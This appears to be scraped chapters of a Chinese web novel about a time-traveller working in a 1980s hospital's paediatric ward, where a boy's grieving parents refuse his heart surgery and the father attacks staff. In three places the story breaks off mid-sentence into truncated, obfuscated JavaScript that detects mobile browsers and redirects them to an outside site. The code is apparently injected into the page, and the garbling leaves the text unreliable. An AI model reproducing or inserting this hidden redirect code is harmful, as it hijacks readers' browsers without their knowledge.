l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15084022|162447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再次与南栀握手,然后大步离开。 阮乔:“……,南栀的情商征服了盛大医生?她凭啥不挨骂?” 韦宁雨道:“仔细想想,盛医生好像也没骂过我们。” “没有吗?”阮乔震惊,“刚刚不就在骂我吗?!” 韦宁雨:“没有。” 阮乔看向南栀。 南栀说:“确实没有,盛医生蛮好相处的。” 阮乔:“?!” 没有吗?? 如果没挨骂,她的心脏怎么会跳得这么快?? 真的没有?! 这是康宁医院十大灵异事件之一! 南栀找出农朔的报告,“农朔现在的情况,时间久了,可能引起一系列并发症,反复呼吸道感染、心衰、肺动脉高压,哪一项都很可怕,他也无法和正常孩子一样运动。家长可能有自己的担忧,我们是不是能先联系心外的医生,如果他们能出面做说明,或许能增强家长的信心?” 阮乔赞同,“可以,去找箫珵医生!心外他最厉害!” 韦宁雨:“你还挺负责任,不嚷嚷着去种地了?” 阮乔:“找到箫珵,问他家住在哪里,告诉我!” 韦宁雨:“……,真完蛋。” * 心外科和心内科是康宁医院最能拿得出手的科室。 尤其是心外科,最近两个月,主治医师箫珵凭借一双妙手征服不少患者。 现在箫珵的门诊每天都要排长队,每天还要做两三台手术。 今天箫珵值夜班,南栀来到心外科的医生办公室,站在门口准备敲门。 门忽然从里面打开,一个穿白大褂的医生走出来,南栀看到他的工牌上写着主治医师:郤文曜几个字。 郤文曜三十岁冒头,留着刺头,五官清爽。 他见南栀拿着报告,便说:“下班了,有事去急诊,看报告的话明天再过来。” 南栀说:“我是儿科的,有病例请教萧医生。” 郤文曜眼底闪过郁色,朝里面喊道:“老萧,找你的。” 郤文曜与箫珵同为心外科的医生,最近的箫珵大放异彩。 以往除了长相一无是处的人,在紧急情况下做了一台复杂的手术,突然成为心外科的主力。 以前心外科年轻一代的绝对主力是陆随,现在陆随出事,又多了一个箫珵。 郤文曜拧眉看着南栀走进去,把圆珠笔塞进口袋里放好。 他要报复!绝对不让他们偷走任何一个圆珠笔! 南栀走进办公室。 八十年代的办公室太简陋,连电脑都没有,病例全靠手写。 箫珵正在整理病例。 他很年轻,身材高瘦,剑眉星眸,留着短发。 不怪阮乔见色起意,箫珵的容貌的确数一数二。 不过…… 南栀盯着箫珵的头发看了好一会儿。 侧分,微卷,很时髦,是拿吹风机吹过的,但不是这个时代的时髦。 绝对不是。 * 箫珵意外的好脾气,爽快地随南栀来到病房。 四个小魔头正在开送别会。 “让我们一起同老大说……再见!” 井珧站在中间深情鞠躬。 四个人的家长躺在陪护床上聊天。 见有穿白大褂的人进来,家长们都看过来,卫天也放下手里的书坐起来。 南栀介绍道:“他就是农朔,因呼吸道感染入院。” 农朔的妈妈厉若云起身走过来,“医生,小朔怎么了?” 箫珵已经知道农朔的父母不想给他做手术,便笑着说道:“您放心,只是例行检查。” 他摘下听诊器,捂热,然后才对农朔说道:“小朋友,让哥哥听听?” 农朔看向厉若云,等厉若云点头后,他才说:“好的叔叔。” 箫珵:“……” 所以他不喜欢儿科。 箫珵将听诊器放在农朔的心脏附近,过了一会儿,他直起身体说道:“已经有明显震颤,心尖区有舒张中期杂音。他年纪小,预后还是非常好的。” 箫珵说着,把听诊器甩在肩上。 南栀一怔,下意识伸出手去碰听诊器,箫珵正要收手,恰好碰到南栀。 两人都怔住。 卫天仰头看着二人。 他还以为南栀真的一心求学,两耳不闻窗外事,看来不是。 箫珵是第一次来儿科的病房,南栀也是第一次见他。 第一次见面就……呵。 卫天才不会打理这二人,他转过身躺下,准备睡觉。 卢思萌几个小朋友都在关注农朔,见卫天竟然还能安心躺下,小声说道:“不愧是小天,真冷静呀,比我们都像大人。” 井珧说:“他就是好面子。” 下一秒,大人?卫天忽然坐起来,爬下病床,走到南栀身边,拽着她的衣摆摇晃,“姐姐,姐姐,我想去厕所,我怕。” 卢思萌:“……” 井珧说:“真不要脸呀。” 13.第 13 章 南栀和箫珵正与厉若云强调利害关系。 卫天皱着眉头盯着南栀看。 井珧和卢思萌盯着卫天看。 卢思萌说:“刚刚南瓜姐姐已经陪小天去过厕所了,他怎么还是不高兴,是因为南瓜姐姐没进去吗?南瓜姐姐是女生,肯定不能进去呀。” 井珧:“他就是想撒娇!” 另一边,厉若云反应强烈,“不可能,我绝对不会给小朔做手术,我只有这一个儿子!万一手术出现问题,你们谁能负责?赔命吗?!” 农朔缩在被子里,一声不吭地坐着。 他性格内向,平时只会与井珧几人说话,若房中有成年人,他便会躲起来,一言不发。 箫珵倒也没太惊讶,他耐心解释道:“任何手术都有风险,但小朔的身体条件不错,年纪又小,预后可观,值得做手术。” “别跟我说套话!”厉若云眼睛泛红,用手指着箫珵,疯狂吼道,“我就问你,小朔的命保不住,你给他赔命吗?!” 另外几名家长连忙上前拉住厉若云。 厉若云骂声不止,头发凌乱,脸上还有泪痕,南栀只能先把箫珵带走。 南栀歉意道:“萧医生,不好意思哦,家属情绪激动。” 箫珵道:“这倒是无所谓,只是她的态度会不会过于激动了?” “确实不太正常,我再了解了解,如果他们同意做手术,咱们医院能做这个手术吗?需不需要转到专门的儿童医院?” 箫珵:“哦?” “儿童与成人不同,他们机体发育不够成熟,手术后容易造成水、电解质、酸碱平衡紊乱,如果有专业的儿童医院,或许更稳妥?” 箫珵笑着打量南栀,“你说你只是在儿科帮忙的?国家开始要求办儿童医院是在49年,52年才有非私有的正经儿童医院,儿外的建设更要推后,你……” 南栀的心跳愈来愈快,她压住蠢蠢欲动的力量,期盼地看着箫珵。 箫珵看了南栀片刻,说:“很有前途嘛!” 南栀:“……” 她小声道:“只是这样啊。” 箫珵没注意她的低落,解释道:“室间隔缺损修补术不算难,我做过很多台,你可以放心,关键是要患者家属接受手术,这样拖着不是办法。” 他又交代了几句注意事项,匆匆离开。 今天是他值班,不能离开太久。 南栀看着箫珵的背影叹气。 卫天走到病房门前,意味深长地看了眼南栀,关上门。 如果没有虞清泉,他与南栀就是两条平行线,只会在导师、教授口中听到对方的名字。 但他无法否认,在看到南栀亮眼的成绩单时,的确多关注过她,只不过等二人真的面对面,是她跑来找亲哥哥。 他还以为南栀心里只有学习和哥哥,现在看来……也不是嘛。 哼。 卫天重重关上门,表达不满,然后等在门口。 十秒后,井珧说:“别看了,已经走了。” 卫天:“……” * 翌日,南栀赶在上班前来到病房,厉若云回家做早饭,不在病房。 来的路上,南栀去国营的包子店买了两个包子,这钱还是向黄夏兰借的,她还没领到工资。 黄夏兰借钱很爽快,一次就给了南栀两百块,现在医生一个月的工资也就一百,康宁医院的挂号费才五毛钱。 黄夏兰对南栀很大方。 南栀先和卫天谈,“你和农朔年纪相仿,好说话,我担心我说得太直白。” 年纪相仿…… 相仿?! 卫天:“……” 卫天冷脸拒绝,“我要看书,没时间。” 南栀看向卫天手里的《临床医学》,又是从阮乔办公室里偷出来的。 她惊讶道:“学长,你连《临床医学》都没学完?你……我明白了。” 原来学校里流传的有关简渊是大神的传说都是假的,学长其实连基础知识都没搞定。 卫天:“?,明白什么?” 南栀:“我懂我懂。” 阮乔也说南栀情商低,她得努力学习!努力委婉!不能让卫天难过! 卫天:“你明白什么了?!” 南栀:“真懂。” 卫天:“???” 卫天想,也许他真该选择出院,总比被南栀气死强。 南栀放弃卫天,选择自己面对农朔。 不就是说话委婉嘛,她就不信她搞不定。 南栀走到农朔面前。 卫天斜眼看着她。 南栀道:“小朔,今天感觉如何,还没吃早饭吧,姐姐买了包子,你先垫垫肚子,等妈妈来了再好好吃饭。” 看她说得有模有样,卫天重新拿起书。 《临床医学》他已经看过百八十遍,但这一本和他学的不一样。 农朔五官清秀,但太过内向,一直扯被子遮脸,他不敢和南栀对视,小声说道:“谢谢姐姐。” 南栀准备巧妙地进入正题,“你……家里出事了?妈妈为什么不想你手术?” 卫天:“……” 卫天又放下书。 他面无表情地爬下床,又爬上农朔的床,“下午玩捉迷藏?” 卢思萌和井珧的小耳朵立刻竖起来,“我来!” 卫天没理他们,他抬头问南栀,“可以吗?” 南栀直觉卫天似乎不只是在问捉迷藏,她说:“小朔心脏不好,不能剧烈运动。” 卫天说:“太可惜了,真想和你一起玩。” 农朔看向卫天,眼中泪光闪烁。 他一直被叮嘱不要乱跑,只要和小朋友们一起玩儿,就会被爸爸妈妈叫回去。 以前农朔不懂自己为何不能跑跑跳跳,后来反复呼吸道感染,才知道自己身体不好,和其他小朋友不一样。 他已经很久没痛痛快快地玩过了。 卫天继续说:“这个傻瓜姐姐说,如果能做手术,你就可以和我们一起玩了。” 农朔眼中燃起希望的光,但很快又灭了,他闷闷不乐道:“爸爸妈妈不让我做手术。” “为什么?” “他们说做手术会死。” 卫天问:“你们家有人做过手术,失败了?” 农朔又开始茫然。 他年纪小,什么都不知道。 南栀猜测道:“你还有其他兄弟?” 现在家里的孩子都多,不太在意其中一个的情况很常见。 都说要一碗水端平,实际上很少有人能做到。 农朔点点头,但很快又摇头。 卫天:“?” “我有个哥哥……” 农朔还没说完,厉若云拎着铝饭盒走了进来。 她是纺织厂女工,平时只穿深蓝色的工装。 农朔虽然只有五岁,但她的年纪比其他孩子的母亲都大。 这几天她一直陪着农朔,来不及打理自己,头发胡乱扎起来,脸上的倦怠之色用粉饼也盖不住。 看到南栀站在农朔旁边,她很紧张,“你干什么?” 从厉若云的反应来看,南栀的怀疑消失了,厉若云很紧张农朔,她不能否认厉若云的付出。 卫天随南栀来到办公室。 除了阮乔和韦宁雨,箫珵竟然也在。 阮乔刚忙完,每次和盛昭云说过话,她就被迫努力一段时间,然后继续躺平。 现在她正在捧着脸对箫珵犯花痴。 韦宁雨对阮乔这一行为表示鄙视,他长得明明也很周正,家附近的媒婆都追着给他介绍对象! 箫珵拘谨地笑着。 卫天略有嫌弃地看了眼箫珵,他再去看南栀,这丫头果然又激动起来,只不过她性格内敛,眼里虽然多了一道光,但不会直接表达。 呵。 卫天走到椅子旁,想坐上去跷二郎腿,顺便鄙夷南栀。 他努力往上跳,腿太短,没蹦上去。 卫天:“……” 南栀见状,将他抱起来放到椅子上。 卫天:“……” 箫珵顺手顺了顺他的头发,“小孩儿长得真可爱。” 卫天:“……” 阮乔问:“你把孩子弄进来干嘛?” 南栀去给箫珵接水倒水,“萧医生,喝水。” 阮乔挑眉,“咦,小栀栀其实很会来事的嘛。” 南栀瞄了眼箫珵,然后解释道:“卫天知道农朔家的一些情况,让他讲给你们。” 她扭头,看到卫天抱着小胳膊,板着小脸。 南栀:“?” 卫天一动不动。 南栀碰了碰卫天,她这样说只是找个由头让他留下来,怎么还不乐意? 箫珵笑盈盈伸出手,想捏卫天的脸,卫天立刻往南栀身后躲去,眼睛越瞪越大。 他冷着小脸抬头,“我也要喝水。” 箫珵笑道:“还挺孩子气的。” 卫天:“!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15090085|162447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 同样是穿越,凭什么南栀能穿到十八岁女孩的身上,他就得穿五岁孩子?! 半夜又得被气醒! 卫天捧着杯子,声音冷冰冰的。 阮乔惊叫:“他有哥哥?不会吧,农朔住过好几次院,从来没见过他的哥哥,也没听他家里人提过。我很确定,农朔的爸爸妈妈都来过,绝对没提过农朔的哥哥。” 箫珵说:“这事不难,他们对手术有很大的抵触情绪,以前可能有情况,我托人去打听打听。” 阮乔笑容灿烂,“谢谢萧医生!萧医生常来!” 南栀去送箫珵离开。 卫天得了空,好奇地问阮乔,“你们为什么对萧医生这么上心?” 南栀很关心箫珵也就罢了,阮乔似乎也很关心他。 阮乔说:“你个小屁孩,你不懂。” 卫天:“……” “萧医生多帅啊,很受我们女孩儿喜欢,你以后就照着萧医生的样子长,也招女孩喜欢。” 卫天:“……” 原来南栀和阮乔格外关注箫珵,是因为喜欢箫珵? 他明明记得虞清泉和其他同学说,他的妹妹单纯得不得了,不懂情情爱爱,一个谈过十九次恋爱的同学想去追她,还被虞清泉揍了一顿。 呵,骗人,刚来就喜欢人家。 * 厉若云和丈夫农杰书结婚十多年,是双职工,都在厂子里上班。农朔入院后,俩人轮流请假陪护。 农杰书从厂子食堂带了盒饭来,厉若云正在收拾病房。 她勤快,每天都帮忙收拾,南栀省了不少事。 农杰书头发没剩几根,五大三粗,不愿意理会打扫的事,他就坐在病床旁看着农朔吃饭,嘴里不停地唠叨,“吃得这么慢,以后上学谁等你?爸妈赚钱养你容易吗?哎,又开始往嘴里塞了,你这孩子笨死了!” 厉若云将扫帚和簸箕摆好,责怪道:“儿子病着,你嚷嚷什么?” 农杰书道:“你看他这样,我看着就来气。” “改改你的暴脾气,”厉若云说,“你能保住工作不容易,我家里托了多少关系才保住的,别再犯傻。” 农杰书还是骂骂咧咧。 农朔拿着筷子,不敢吃也不敢放下。 厉若云说:“你就别说孩子了,这家医院我看也不太行,医生总来说做手术的事,我看我们还是再换一家医院。” “又来?”农杰书猛地起身,摔了凳子,大发雷霆,“他们一个两个的,都是黑心医生,就是想骗我们手术赚钱!哪个医生说要手术的,谁?!” 病房内的小朋友都被吓得躲进被子里,厉若云也不敢吭声。 农杰书吼道:“到底是谁?!” “就是最近刚来帮忙的小姑娘,昨天又带外科医生过来了……好了好了,我看小朔的状态不错,过几天咱就走。” 农杰书狠狠瞪了厉若云一眼,把椅子踢到墙边,铁青着脸朝外走去。 卫天看向躲在被子里偷偷哭的农朔,又看向着急却不阻拦的厉若云,他放下小姨送来的故事书,跟了上去。 * 办公室,盛昭云一个人忙不过来,阮乔刚被叫去门诊帮忙,刚回来。 她现在的状态比刚上班时强多了,那会儿每天都课本不离手,生怕病人不按照课本的规定生病。 韦宁雨刚去给小朋友们打完针,得意洋洋地炫耀,“又打哭三个,我的目标是打哭一万个小屁孩!” 阮乔鄙夷道:“是你技术差。” “我技术差?我打得多轻!”韦宁雨从阮乔的办公桌上翻出一个苹果,毫不客气地咬了一口,“针头离着半米就开始哭,我能怎么办?我要不是还有点儿医德,我都想给他卖点儿止疼药,这哭声,我都要以为我把他骨头扎断了。” 阮乔说:“苹果没洗。” 韦宁雨又咬了一口,“不干不净,吃了没病,我要是倒了,记得去把剩下的小屁孩都打哭!” 阮乔无奈地摇头,他俩都受不了儿科的小恶魔,还曾密谋一起出逃,计划还没开始,就被院长一眼瞪了回来。 电话声响起。 阮乔接起电话,听到对方声音后,粗犷的声音一秒变得柔和。 韦宁雨扶墙作呕。 阮乔说:“是萧医生呀,对对,我是阮乔。你说农朔吗?对对对,你说……农朔的爸爸脾气差,因为手术把医生打了?!” 阮乔拿着电话愣了一会儿,看向韦宁雨,“刚刚农朔的爸爸好像来了,小栀去哪了?” 14.第 14 章 除了住院部的杂货儿,偶尔南栀还会帮门卫大爷打饭,康宁医院允许医院所有工作人员去食堂吃饭,但大爷腿脚不好。 南栀接过铝饭盒,大爷坐在小屋子里摇蒲扇,“小栀呀,辛苦你了,我不乐意走那么远,医院有食堂,还不敢让老婆子给我做饭,天天都得饿着,幸亏有你。” 南栀说:“不客气的,您这么大年纪出来工作不容易,如果家里有困难尽管和我说。” “不困难不困难,”大爷笑容慈祥,“祁院长是我外甥女,检验科的主任是我老同学的孩子,我在家闲得无聊,不如出来待着。” 南栀:“……” 大爷说:“有困难来找我啊!” 南栀:“……” 忽然有点儿心痛。 南栀拿着饭盒往食堂走。 她今天要帮大爷和阮乔打饭,一会儿井珧就出院,没了这个傻魔头,住院部会安静很多。 未来可期! 医院小院里有护士推着坐轮椅的患者晒太阳。 康宁医院看起来寒酸,小院的风光却格外好,尤其是盛夏,树荫蔽日,清风携着阳光的温暖落在心头,总会让人心情舒畅。 南栀很喜欢康宁医院。 走过门诊楼,人少了些。 南栀怕耽误工作,小跑前进,忽然听到身后有人提到她的名字,“你找南栀?儿科住院部刚来的小姑娘吗?哎,前面的不就是吗?” 南栀回头,指路的是同楼层的护士,“南栀,这位家属找你,我先去食堂了。” 农杰书沉着脸走过来。 南栀看了农杰书片刻,朝他走去,却见他弯腰捡起半块砖头,“就是你非让我家孩子做手术?黑心医生!都是黑心的!” 南栀试图在脑中调阅格斗知识。 …… 没有。 上学时忘了做医生也会挨揍了。 南栀抓紧饭盒,不动声色地估算前后距离。 就在这时,一个小人影飞速跑来,抱住农杰书胳膊抢砖头。 农杰书的肌肉比石头还硬,哪里是小孩子能拦得住的?他稍一用力,便把卫天甩飞。 卫天勉强落地站稳。 南栀瞪大眼睛看他。 从她的目光中,卫天读出一些信息——幸好她没穿成小孩子! 卫天:“……” 农杰书骂骂咧咧道:“滚一边去,关你屁事?回家吃奶去!” 他丢了砖头,赤手空拳走向南栀。 南栀确认农杰书无心伤害卫天后,转身就跑,农杰书腿比南栀长,也比她跑得快。 身后的喘息声越来越大,南栀边喊救命边往前跑,头皮忽然剧痛。 农杰书揪住南栀的辫子向后拽,“你来跟我说说,我家小朔怎么就要手术了?你们医院缺钱了是吧?又想赚黑心钱?!我一天组装多少个自行车才能赚到钱?你们亏不亏心?!走,找你们领导!” 发丝牵着头皮,农杰书不管不顾地拽着南栀的头发,她身体不受控制地倒向农杰书,她努力忘掉疼痛,尝试找回农杰书的理智,“我和你去找院长,你松手,我不会跑。” 农杰书吼道:“我不信你们这些黑心医生!” 南栀试图找回逻辑,“可我不是医生?” 一个打杂的,怎么就要被医闹了? 农杰书愣了一下,更生气了,“你耍我?!走,找院长评理!” 南栀:“……” 她不能和正在气头上的人谈理智。 就在这时,南栀忽然听到一声撕心裂肺的叫声,她和农杰书同时愣住,接着就是哭声。 哭声有点儿怪,就像…… 农杰书骂道:“谁家狗被踩尾巴了?!” 附近的人被哭声吸引过来,先走向蹲在地上哭的卫天,走过来便留意到南栀和农杰书,农杰书有点儿慌。 箫珵几人终于赶过来,他几步跑到南栀身边,推开农杰书,将南栀护在身后,“你想干什么?!” 阮乔扶着南栀,眼泪汪汪的,“他太过分了!你疼不疼?我带你医院看看……哦,咱这就是医院。” 卫天收起哭声,走到南栀旁边。 做小孩子真难,哭几声都累,真不知道那些孩子哪来的精力闹腾。 农杰书还想再骂,韦宁雨带着几个后勤赶过来。 南栀仔细一看,其中两个是食堂掌勺的大厨。 南栀:“……” 锻炼身体,以后必须锻炼身体! 农杰书被大厨们架着带走,卫天看向南栀。 今天他可是丢了所有面子来帮她的。 南栀正对着箫珵星星眼,“谢谢萧医生!萧医生,你有没有其他话想和我说?比如……蓝瘦?香菇?萧医生萧医生……” 卫天:“……” 这!人! 卫天努力平复心情。 无关无关,南栀的事和他无关,都无关! 下一秒—— 卫天:“姐姐,你还去食堂吗?” 南栀:“萧医生可以帮忙再和农杰书好好谈谈吗?” 卫天:“姐姐,我想喝水。” 南栀:“萧医生今天多亏你啦。” 卫天:“姐姐?” 南栀:“萧医生……” 卫天:“……” * 农杰书“袭击”南栀一事惊动院领导,分管儿科的康宁医院副院长祁念珍赶到住院部农朔的病房,盛昭云和其他护士也被叫了过来。 阮乔还在心疼南栀的头发,“好不容易长出来的头发,唉,等你到我这个年纪,你就……” “还有心情管头发?”韦宁雨恶魔般低语,“院长都来了,这事闹大了,你们真要求他们做手术了?” 阮乔愁道:“是完了,这得闹到什么时候才能走?我刚泡的茶都要凉透了。” 韦宁雨:“呵呵,是汽水吧。” 卫天:“……” 康宁医院儿科人才济济,未来可期。 祁念珍年近五十,烫卷发,知性优雅。 有她在,没人敢先开口说话。 祁念珍先走到农朔身边,亲切地说了几句话,然后才对盛昭云说道:“盛医生,说说农朔的情况。” 盛昭云道:“萧医生也在,今天我把话说明白,农朔的情况,最好的解决方式就是动手术,室间隔缺损是相对成熟的手术,农朔自身底子不错,预后非常可观。” 祁念珍点头,“也就是说,我们的医生建议你们给孩子做手术,你们拒绝,发生矛盾,是吗?” 农杰书暴躁道:“你就是向着自己人!” 厉若云挡在农杰书前面,“院长,我们已经拒绝过很多次,这个小姑娘还带外科的医生过来,你们什么意思?你们必须给我一个说法,不然我天天来闹!” 厉若云有自己的盘算。 医生已经来过很多次,每次都说要手术,她早就不愿意听这话。 农杰书的脾气是差,但他不怕事,就该让医院知道他们的厉害,否则还会被欺负。 叫院长来是最好的办法,这些医生里应外合,也就院长能治得了他们。 祁念珍看向厉若云口中的小姑娘。 年纪的确不大,刚被农杰书拽了头发,却一点儿喊疼的意思都没有,乖巧地站在阮乔旁边。 箫珵道:“祁院长,我只是来看看患者。” 祁念珍示意他安静。 她看向南栀。 厉若云态度强硬,“必须开除她!” 祁念珍没有理会厉若云,她对南栀说道:“辛苦了,一会儿去做个检查,盛医生,你去报公安。” 厉若云:“?!” 祁念珍的声音忽然严厉,“这位家属,孩子的报告我们已经看过了,医生们尽职尽责,你们若不领情,可以正常出院,没人能强迫你们做手术,可你们却出手伤人。为医者,最大的愿望不过是盼着病人能健康出院,你们可以不理解,但绝不能动手。” 农杰书推开厉若云走上前,“明明就是你们草菅人命,想害死我儿子!” 南栀这会儿才开口,“祁院长,他们有一个儿子,也是室间隔缺损,在儿童医院治疗,当时医院建议他们开刀,他们接受手术,但术后恢复不好,引起并发症,孩子去世了。这是五年前的事。” 农杰书叫了几个厂子的工友,把医生堵在小巷里打了一顿,医生心善,想着他们刚刚失去孩子,没追究,农杰书才没被派出所抓走。 但这事也传开了,儿童医院不愿意再接收他们家的孩子,他们选择来离家近的康宁医院。 有儿童医院的医生知道此事,偷偷提醒康宁医院,大家便都不敢和他们家人硬碰硬。 谁也不想上个班还要挨揍。 农杰书和厉若云眼眶通红,“你们还好意思说?!” 南栀说:“两个人的情况完全不同,你们的大儿子不仅是室间隔缺损,他还合并了法洛四联症,手术很复杂。就当时的情况来说,手术是成功的,至于后续恢复过程中引起并发症,这是谁都不愿意看到的。” 箫珵赞同道:“农朔的情况没有这么严重,手术虽然都存在风险,但还是建议开刀治疗。” “不可能!”农杰书道,“我们绝对不做手术!” 厉若云扶着窗户痛哭,“我已经失去一个儿子,你们还要抢走另一个,你们……” 她忽然捂住右腿,慢慢蹲下去。 祁念珍上前一步,“这是怎么了?” “她有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15093519|162447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病!”农杰书没好气道,“腰都被你们气突了!” 阮乔:“?” 他们还有这能耐? 韦宁雨说:“以后咱们就反向气,把突出来的再气回去,赚大钱。” 祁念珍看向韦宁雨。 韦宁雨一秒变乖,“为人民服务!” 祁念珍最终选择报警,但相应的,也将厉若云送到骨科治疗。 她叮嘱几个医生,“我们挨了欺负,绝不能忍着,有一次就会有下一次,退到什么时候是个头?不过厉若云毕竟失去一个孩子,又是在医院发病,还是要好好治疗。” 末了,祁念珍笑着走到阮乔面前,“最近的事我都听说了,表现不错,以后要继续努力。” 前几天会后闲聊,急诊科的医生提到误诊一事,说多亏儿科阮乔医生提醒。 阮乔的母亲也是医生,和祁念珍是同学,虽然多年未见,但也想着照顾照顾老同学的女儿,奈何阮乔一直不上进。 现在知道阮乔开始用功了,能不开心? 阮乔:“?” 院长走后,阮乔惊恐地拉着南栀和韦宁雨,“我是不是要被开除了?!” “难道是我昨天偷了食堂一个鸡腿被发现了?!” “还是我上周迟到两次,有人打小报告?” “完了完了,一定是井珧那兔崽子在外面说我坏话!” 阮乔:“我完!蛋!了!” 她一转头,南栀三人已往远处走去。 南栀:“祁院长是我见过的最知性的女人!” 韦宁雨:“她知性?呵,她学过散打,徒手对抗过来医院的歹徒!她可一点儿都不知性!” 南栀:“?!” 阮乔在后面无力呐喊,“喂,你们帮我出出主意啊……喂!” * 南栀目前只有一天半的休班,其他时间按照科里的排班工作,白班和夜班轮替着来。 她骑上新自行车赶到医院。 住院部早上需要查房,一楼乱糟糟的,三楼乱糟糟的,四楼也乱糟糟的。 至于二楼……已经被吼声淹没。 “农朔!!你的心脏不能跑!!” “卢思萌你有哮喘知道吗?!” “戈玲!!早饭还没吃完!” “你不是已经出院了?又来干什么?井珧!放开她俩,你还一次性拽两个小姑娘,你可真好意思!” 南栀清了清耳朵才走过去。 二楼的新生儿科都在探头看热闹。 耳鼻喉的病人也穿着病号服溜达,看着上蹿下跳的儿科一起嗑瓜子。 阮乔追着井珧跑了两圈都没追上,扶着墙干喘气,“小胖、小胖子,还挺灵活,这体力居然还是个病秧子,我找谁说理去?!” 南栀走过去,“他们又跑了?” “一大早就跑出去,说要玩什么捉迷藏,他们的精力用不完吗?!”阮乔捶胸顿足,无比悲愤,“我都是被院长点名批评的人了,他们还坑我!” 南栀看向病房,病房里只有卫天呈大字形赖在床上,其余人的被窝都是空的。 南栀问:“卫天怎么了?” “不知道啊,昨天回来就这样,看起来对生活失去希望,他听你的话,你去劝劝?” 南栀想到哥哥,便说:“先让他和希望保持些距离。” 阮乔:“那其他人怎么办?我是真的找不到了,我连水桶里都看了!” 南栀道:“不要紧。” 她走向卢思萌的病床,在床头柜里找到两根香蕉。 戈玲床头柜里有一个干烧饼。 农朔床头柜里的东西最多,竟然还有临川市没有的钙奶饼干。 南栀都收拾出来,放到空了的病床上,“先吃哪个呢?” 下一秒,病房门口探出四个小脑袋,“不能吃!!” 阮乔:“……” 这也行? 南栀拉着四个人回病床。 井珧张口就喊痛,“南瓜姐姐,你太用力了。” 南栀便用同样的力道扯了下自己,“不痛啊。” 她力道没减,拽着井珧继续走。 井珧:“……” 别的大人说打他,是吓唬,南瓜姐姐是下手。 阮乔正教育农朔,“你爸在派出所,你妈还在骨科,你还闹,不管他俩了?” 农朔低声道:“我去看过妈妈了,妈妈说胸闷,要休息。” 阮乔道:“腰间盘突出还胸闷?突错位置了?” 卫天猛地坐起来。 南栀也看过来,“你说什么?” 阮乔被二人吓到,举手投降,“……我说腰突不该胸闷啊,呃,难道是会胸闷的?” 她又记错了?? 40-50 第41章 第41章黑心院长 儿科曝出惊人大瓜。 井珧的爷爷奶奶一直埋怨的儿媳妇,原来是因为丈夫出轨才离婚的! 井珧住院这几次,他们可一直和大家伙儿念叨儿媳妇有多过分,就连阮乔对井珧妈妈的印象都是不负责的人。 南栀对爷爷奶奶念叨的内容不感兴趣,才没被洗脑。 井珧妈妈崩溃地控诉,“就因为我一定要离婚,因为我不是正式职工,井珧就得跟着你们。我经常去找你们,求你们让我见他,可你们是怎么说的?说我这辈子都没机会!我去幼儿园,你们还要联合老师把我赶走,我娘家和你家才隔几条街,你们天天守着井珧,我连见她的机会都没有!” 最好的机会也只有在医院,爷爷奶奶不是全天陪护,但他们每次都要提醒护士,如果有陌生女人接近,一定要赶走。 这次是阮乔主动打听她,她才能进医院。 面对一个母亲痛苦地控诉,井珧奶奶不为所动,她坚持说道:“本来我儿子和王敏就是一时的,过去就算了,你非要离婚,现在他们结婚了你才后悔?我们可都劝过你!” 南栀听得云里雾里。 她问盛昭云,“井珧的爸爸很优秀吗?” 盛昭云认真回想,“印象不深,儿子病了,好像带他看病并不积极。” 南栀说:“学识方面也很一般,只能说认字。” “长得也差。” 井珧奶奶:“……” 南栀真诚地询问,“他既然不优秀,和他离婚,为什么要后悔呀?” 井珧奶奶:“……” 阮乔:“……” 南栀是在吃瓜吗?她分明是在浇油! 井珧奶奶说:“总而言之,男人好再找,女人不好找,你到现在都没结婚。” 南栀:“他一点儿也不挑,当然好找啦。” 盛昭云:“跳过一次的坑,还要再跳一次,也就他们为之自豪。” 井珧奶奶:“……,男人找女人这都是小事,以前的男人还能娶好几个老婆,那还能都不活了?” 南栀:“普通老百姓应该没这个财力,怎么也得是当官的或者赚了银子的经商的才行,井珧爸爸是哪一种呀?” 盛昭云说:“是白日做梦的类型。” 井珧奶奶:“……” 她费劲地张着嘴,好像只能发出“阿巴阿巴”的声音。 井珧奶奶气愤地看向南栀和盛昭云。 这俩人咋诋毁她儿子?! 然而南栀和盛昭云面对面看着彼此,认真分析井珧爸爸的条件,根本不搭理她。 阮乔眼见着井珧奶奶的脸变成猪肝色,忍笑忍得浑身抖动。 韦宁雨:“?” 阮乔:“我,我真是太为井珧爸爸伤心了,居然才娶过俩,他的条件,应该娶一群啊!” 韦宁雨说:“全国女人都排队想嫁给他,市长千金半夜哭着敲他的门。” 井珧奶奶:“……” 这帮医生! 井珧默默爬到妈妈怀里,低声问:“你能带我走吗?” 井珧奶奶震惊道:“井珧?!” “我不想留在家里,”井珧可怜巴巴道,“阿姨不喜欢,爸爸也不喜欢我,爷爷奶奶都喜欢弟弟。” 有后妈就有后爸,井珧的爷爷奶奶虽然对孙子还不错,但现在有个小的,注意力都被分了过去。 听到井珧软糯的声音,整个儿科的人心都碎了。 这孩子,这孩子……这黑壮黑壮的孩子,平时那大嗓门,得多伤心才能夹起来啊! 阮乔难得严肃,“希望你能真的为井珧考虑,在你们家,井珧不是第一位的,但对妈妈来说,井珧永远是他的心头肉。” 